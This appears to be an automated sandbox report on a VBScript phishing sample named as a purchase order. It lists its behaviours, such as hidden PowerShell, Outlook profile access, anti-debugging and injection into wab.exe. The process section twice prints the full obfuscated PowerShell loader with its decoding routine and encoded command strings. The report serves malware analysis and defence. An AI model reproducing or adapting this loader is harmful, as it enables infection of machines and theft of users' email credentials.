Analysis
- max time kernel
298s - max time network
194s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/08/2026, 13:59
General
- Target RFQ - ASIA PURCHASE ORDER PO 2026.vbs
- Size 42KB
- Sample260810-ral3hsap3t
- SHA256 fa7d31402f065f56dff0ace8cf4beb07ede65561b587a29cd57729e3c8b02d26
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ - ASIA PURCHASE ORDER PO 2026.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -windowstyle hidden "function blarghz { [void](Get-Date); $endemarkeringmpex = 'snazzle'; [void](Get-Item '.')}$endemarkering = 'wobble'; Get-Random -Maximum 10 | Out-Host;$kontradiktioner=1723-1723;$miscite=-29850+35850;function quxnik { $unfadable = 'flobber'; [void](Get-ChildItem -Path '.')}function udslyngningerne ($paintproof) { [void](Get-Date); $skrmene = 'gnar';do {$repeatability=$paintproof[$kontradiktioner];$repeatability-=$kommandos[$kontradiktioner%10];$paintproof[$kontradiktioner]=$repeatability;$miscite=$paintproof[$kontradiktioner];$miscite=[char]$miscite;$brasiliens+=$miscite;$kontradiktioner++} while ($paintproof[$kontradiktioner])$brasiliens}$unfidgeting = 'mumble'; [void](Get-Location);function hauges ($endemarkering,$conductorless20) {$flosklen=udslyngningerne(@(118,212,226,217,211,209,198,228,217,202,196,216,226,220,155,198,221,225,224,141,118,210,227,227,210,217,200,230,221,215,190,212,231,232,160,148,142)) ;putrefacient ($flosklen)}[void](Get-Date); $stretchiness203 = 'zazz';[void](Get-Date); $eskamoteredes = 'zorp';Function Planlgningslov ($paintproof,$preconfined=0){$locknuts=udslyngningerne(@(173,178,227,227,228,201,215,230,203,159,140,181,230,228,219,166,198,229,211,155,134,194,232,231,215,210,204,154,146,213,179,216,226,233,222,214,212,225,212,142));$calathiscus=@(putrefacient ($locknuts));For($rootages=0; $calathiscus[$rootages] -ne $tubmaking; $rootages++){$calathiscus[$rootages] = hauges $calathiscus[$rootages] $kommandos[$rootages%10]}$enervate=udslyngningerne(@(127,217,227,222,220,132,192,213,214,198,196,202,209,210,146,199,198,222,207,217,186,216,231,216,227,215));$brents=putrefacient ($enervate);if ($preconfined) { putrefacient $brents}else {;$brents}}[void](Get-Date); $pinacolate = 'blip';function putrefacient ($utrygges) {.($afbrings) $utrygges}$kommandos=@(82,111,116,117,110,100,101,114,110,101);$semisteel = 'glip'; Get-Process | Select-Object -First 1 | Out-Host;$afbrings=udslyngningerne @(155,180,204);$hukommelsestabene='\Ravedes.Lin';$conductorless20ottomlessness=Planlgningslov 'Z0FEVUYzDBwKCiUcVDs6RFRCQFVpTyMcAFJRSU4dZFtPVRwSX0NbV3xfXVUpAQYZAUpgX0VFXlVVQ04jOx0REwEcSkNbV3xf';$latteren=Planlgningslov 'OhsABVRLSkNWUHxdTVtXSlRCX0oBGxUbCgUXFh4EOQQRWxoLBg==';$nondependancy = 'snip'; Get-Date | Out-Host;$endemarkeringmidines96=Planlgningslov 'HxwMGAJWSyELFyQKBi0jKC0mOjV8WVpF';$violinless=Planlgningslov 'FSog';$rhinolith=Planlgningslov 'BxwRB0MlAhcAEQ==';$endemarkeringareforkalknings=Planlgningslov 'bA==';Planlgningslov 'dggYGgwFCUgGADYIERgPDwwcCVh2ChoDVAUVAgoEJg5fUQYRDh0DCDcDBxAdEAQQCws3' 1;Planlgningslov 'dggYGgwFCUgIBCcDEAZTQAkTGhE3HREbQBcVHgcReksRGwoBCBMcDjcdHRsJBRcXCAogBBUZBQoMHAkWew==' 1;$latteren=$faulds[0];Planlgningslov 'dggYGgwFCUgLFysbHBADDQZDXFFvIRECQysHGAsGJk9ZNgEJRVYLCzYKGRQcDwAABws1Ah0RBwoAAVdT' 1;Planlgningslov 'dggYGgwFCUgLCyYKBhoFDQsXGgwxUlwhCxcRXz4EJgdUUQYBARULCDMEHRsJTQ==' 1;while (!$enterokinetic) {Planlgningslov 'dggYGgwFCUgIBDwbGxgLFgsXHVh2GwYACw==' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsBFAAcRkEkBhsZBwoJFx0Wfk9QGQ8QERccADxDVFEIBQkBC0w=' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsdAREgCxQnCgcBJgEEFgsXeksGHQcKCh4HETpDVFENCwsWGwYmAAYZCxcWQF4KJhsbGAIBFgEAACEcXQ==' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsdAQsWRkw=' 1;Planlgningslov 'dggYGgwFCUgNETcbGxkBAxxPSgAgFgAdCwkMEV9XZkEHAQ8QEAFOSDceVEdeVA==' 1;if ($ctetology) {Planlgningslov 'CQ0NAQs/OC9KAj4AFhQCXgkbGBY0AAYGBw8XGwACIRwRGR0PBBALESFSUBAcHREaCwg7DEVHWkoXFx0VPQEHECwLAQs=' 1;Planlgningslov 'IQxUUQYBARULCDMEHRsJREEeBxMhCRsHHQ0OAAcLNRwHEAIXDhMMACYcVFgrCgYdCgw8CFQ3FxAA' 1} Planlgningslov 'AQMREB5MUVs=' 1;Planlgningslov 'dggYGgwFCUgLCyYKBhoFDQsXGgwxUlwhCxcRXz4EJgdUUQYBARULCDMEHRsJTQ==' 1 ;Planlgningslov 'dggYGgwFCUgPCyYHGwUGCxcdGxZgW0VISgMJHQwEPlUVGQwFFxcCCT1EX1BKAgQHAgEhQRcaGwoR' 1;$latteren=$faulds[$anthophorous241]}$substitutabilities=127564;$proscriber=21129;Planlgningslov 'dggYGgwFCUgbASEEBhwYCgwcCRYiHRsSHAUITwkGckscEAoDAB8PDjsBEw==' 1;Planlgningslov 'dggYGgwFCUggCjwLHQYNCxMXHBxjX0VINScKHBgAIBspT1QiFx0DJzMcEUNaNxEABws1R1AAChcOAAcTPAYaEh0UFx0JFzMCXQ==' 1;Planlgningslov 'dggYGgwFCUgPAyQOGhELWT4mCx0mQTEbDQsBGwACD1VOND0nLDtAIjcbJwEcDQsVRkEcABoRBxcGHRgAIBZFRV9N' 1;Planlgningslov 'dggYGgwFCUgLCzQAGBEdWUETCBMzARAQQBcQEB0RIAYaEkZAFgcMFiYGAAAaBQcbAgwmBhEGQkAVAAEWMR0dFwsWTA==' 1;putrefacient $enfolds;function zoppy { $stretchiness203 = 'dorp'; [void](Get-Location)};;;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function blarghz { [void](Get-Date); $endemarkeringmpex = 'snazzle'; [void](Get-Item '.')}$endemarkering = 'wobble'; Get-Random -Maximum 10 | Out-Host;$kontradiktioner=1723-1723;$miscite=-29850+35850;function quxnik { $unfadable = 'flobber'; [void](Get-ChildItem -Path '.')}function udslyngningerne ($paintproof) { [void](Get-Date); $skrmene = 'gnar';do {$repeatability=$paintproof[$kontradiktioner];$repeatability-=$kommandos[$kontradiktioner%10];$paintproof[$kontradiktioner]=$repeatability;$miscite=$paintproof[$kontradiktioner];$miscite=[char]$miscite;$brasiliens+=$miscite;$kontradiktioner++} while ($paintproof[$kontradiktioner])$brasiliens}$unfidgeting = 'mumble'; [void](Get-Location);function hauges ($endemarkering,$conductorless20) {$flosklen=udslyngningerne(@(118,212,226,217,211,209,198,228,217,202,196,216,226,220,155,198,221,225,224,141,118,210,227,227,210,217,200,230,221,215,190,212,231,232,160,148,142)) ;putrefacient ($flosklen)}[void](Get-Date); $stretchiness203 = 'zazz';[void](Get-Date); $eskamoteredes = 'zorp';Function Planlgningslov ($paintproof,$preconfined=0){$locknuts=udslyngningerne(@(173,178,227,227,228,201,215,230,203,159,140,181,230,228,219,166,198,229,211,155,134,194,232,231,215,210,204,154,146,213,179,216,226,233,222,214,212,225,212,142));$calathiscus=@(putrefacient ($locknuts));For($rootages=0; $calathiscus[$rootages] -ne $tubmaking; $rootages++){$calathiscus[$rootages] = hauges $calathiscus[$rootages] $kommandos[$rootages%10]}$enervate=udslyngningerne(@(127,217,227,222,220,132,192,213,214,198,196,202,209,210,146,199,198,222,207,217,186,216,231,216,227,215));$brents=putrefacient ($enervate);if ($preconfined) { putrefacient $brents}else {;$brents}}[void](Get-Date); $pinacolate = 'blip';function putrefacient ($utrygges) {.($afbrings) $utrygges}$kommandos=@(82,111,116,117,110,100,101,114,110,101);$semisteel = 'glip'; Get-Process | Select-Object -First 1 | Out-Host;$afbrings=udslyngningerne @(155,180,204);$hukommelsestabene='\Ravedes.Lin';$conductorless20ottomlessness=Planlgningslov 'Z0FEVUYzDBwKCiUcVDs6RFRCQFVpTyMcAFJRSU4dZFtPVRwSX0NbV3xfXVUpAQYZAUpgX0VFXlVVQ04jOx0REwEcSkNbV3xf';$latteren=Planlgningslov 'OhsABVRLSkNWUHxdTVtXSlRCX0oBGxUbCgUXFh4EOQQRWxoLBg==';$nondependancy = 'snip'; Get-Date | Out-Host;$endemarkeringmidines96=Planlgningslov 'HxwMGAJWSyELFyQKBi0jKC0mOjV8WVpF';$violinless=Planlgningslov 'FSog';$rhinolith=Planlgningslov 'BxwRB0MlAhcAEQ==';$endemarkeringareforkalknings=Planlgningslov 'bA==';Planlgningslov 'dggYGgwFCUgGADYIERgPDwwcCVh2ChoDVAUVAgoEJg5fUQYRDh0DCDcDBxAdEAQQCws3' 1;Planlgningslov 'dggYGgwFCUgIBCcDEAZTQAkTGhE3HREbQBcVHgcReksRGwoBCBMcDjcdHRsJBRcXCAogBBUZBQoMHAkWew==' 1;$latteren=$faulds[0];Planlgningslov 'dggYGgwFCUgLFysbHBADDQZDXFFvIRECQysHGAsGJk9ZNgEJRVYLCzYKGRQcDwAABws1Ah0RBwoAAVdT' 1;Planlgningslov 'dggYGgwFCUgLCyYKBhoFDQsXGgwxUlwhCxcRXz4EJgdUUQYBARULCDMEHRsJTQ==' 1;while (!$enterokinetic) {Planlgningslov 'dggYGgwFCUgIBDwbGxgLFgsXHVh2GwYACw==' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsBFAAcRkEkBhsZBwoJFx0Wfk9QGQ8QERccADxDVFEIBQkBC0w=' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsdAREgCxQnCgcBJgEEFgsXeksGHQcKCh4HETpDVFENCwsWGwYmAAYZCxcWQF4KJhsbGAIBFgEAACEcXQ==' 1;Planlgningslov 'dgoGDBoMAB8HBmNdQFsdAQsWRkw=' 1;Planlgningslov 'dggYGgwFCUgNETcbGxkBAxxPSgAgFgAdCwkMEV9XZkEHAQ8QEAFOSDceVEdeVA==' 1;if ($ctetology) {Planlgningslov 'CQ0NAQs/OC9KAj4AFhQCXgkbGBY0AAYGBw8XGwACIRwRGR0PBBALESFSUBAcHREaCwg7DEVHWkoXFx0VPQEHECwLAQs=' 1;Planlgningslov 'IQxUUQYBARULCDMEHRsJREEeBxMhCRsHHQ0OAAcLNRwHEAIXDhMMACYcVFgrCgYdCgw8CFQ3FxAA' 1} Planlgningslov 'AQMREB5MUVs=' 1;Planlgningslov 'dggYGgwFCUgLCyYKBhoFDQsXGgwxUlwhCxcRXz4EJgdUUQYBARULCDMEHRsJTQ==' 1 ;Planlgningslov 'dggYGgwFCUgPCyYHGwUGCxcdGxZgW0VISgMJHQwEPlUVGQwFFxcCCT1EX1BKAgQHAgEhQRcaGwoR' 1;$latteren=$faulds[$anthophorous241]}$substitutabilities=127564;$proscriber=21129;Planlgningslov 'dggYGgwFCUgbASEEBhwYCgwcCRYiHRsSHAUITwkGckscEAoDAB8PDjsBEw==' 1;Planlgningslov 'dggYGgwFCUggCjwLHQYNCxMXHBxjX0VINScKHBgAIBspT1QiFx0DJzMcEUNaNxEABws1R1AAChcOAAcTPAYaEh0UFx0JFzMCXQ==' 1;Planlgningslov 'dggYGgwFCUgPAyQOGhELWT4mCx0mQTEbDQsBGwACD1VOND0nLDtAIjcbJwEcDQsVRkEcABoRBxcGHRgAIBZFRV9N' 1;Planlgningslov 'dggYGgwFCUgLCzQAGBEdWUETCBMzARAQQBcQEB0RIAYaEkZAFgcMFiYGAAAaBQcbAgwmBhEGQkAVAAEWMR0dFwsWTA==' 1;putrefacient $enfolds;function zoppy { $stretchiness203 = 'dorp'; [void](Get-Location)};;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
Ravedes.Lin
memory/4620-12-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-14-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-6-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-7-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-8-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-9-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-10-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-11-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-0-0x00007FFA7686F000-0x00007FFA76870000-memory.dmp
memory/4620-5-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-13-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-15-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-17-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-18-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-19-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-22-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-4-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp
memory/4620-3-0x000002ABFE5D0000-0x000002ABFE5F2000-memory.dmp
memory/5524-32-0x00000000058E0000-0x0000000005946000-memory.dmp
memory/5524-40-0x0000000007150000-0x0000000007172000-memory.dmp
memory/5524-25-0x0000000005220000-0x000000000586A000-memory.dmp
memory/5524-29-0x0000000005870000-0x00000000058D6000-memory.dmp
memory/5524-28-0x0000000074380000-0x0000000074B3C000-memory.dmp
memory/5524-27-0x0000000005170000-0x0000000005192000-memory.dmp
memory/5524-33-0x0000000005A80000-0x0000000005DDB000-memory.dmp
memory/5524-24-0x0000000004AB0000-0x0000000004AE6000-memory.dmp
memory/5524-35-0x0000000005F30000-0x0000000005F4E000-memory.dmp
memory/5524-36-0x0000000006500000-0x000000000654C000-memory.dmp
memory/5524-37-0x0000000007780000-0x0000000007DFC000-memory.dmp
memory/5524-38-0x0000000006460000-0x000000000647A000-memory.dmp
memory/5524-39-0x00000000071A0000-0x0000000007236000-memory.dmp
memory/5524-26-0x0000000074380000-0x0000000074B3C000-memory.dmp
memory/5524-41-0x00000000083C0000-0x000000000897A000-memory.dmp
memory/5524-23-0x0000000074392000-0x0000000074393000-memory.dmp
memory/5524-43-0x0000000008980000-0x000000000DFE5000-memory.dmp
memory/5524-44-0x0000000074392000-0x0000000074393000-memory.dmp
memory/5524-45-0x0000000074380000-0x0000000074B3C000-memory.dmp
memory/5524-46-0x0000000074380000-0x0000000074B3C000-memory.dmp
memory/5524-48-0x0000000074380000-0x0000000074B3C000-memory.dmp
memory/5820-49-0x0000000000400000-0x00000000016E6000-memory.dmp
memory/5820-50-0x0000000000400000-0x0000000000456000-memory.dmp
memory/5820-53-0x0000000020A90000-0x0000000020AE0000-memory.dmp
memory/5820-54-0x0000000020B80000-0x0000000020C12000-memory.dmp
memory/5820-55-0x0000000020AE0000-0x0000000020AEA000-memory.dmp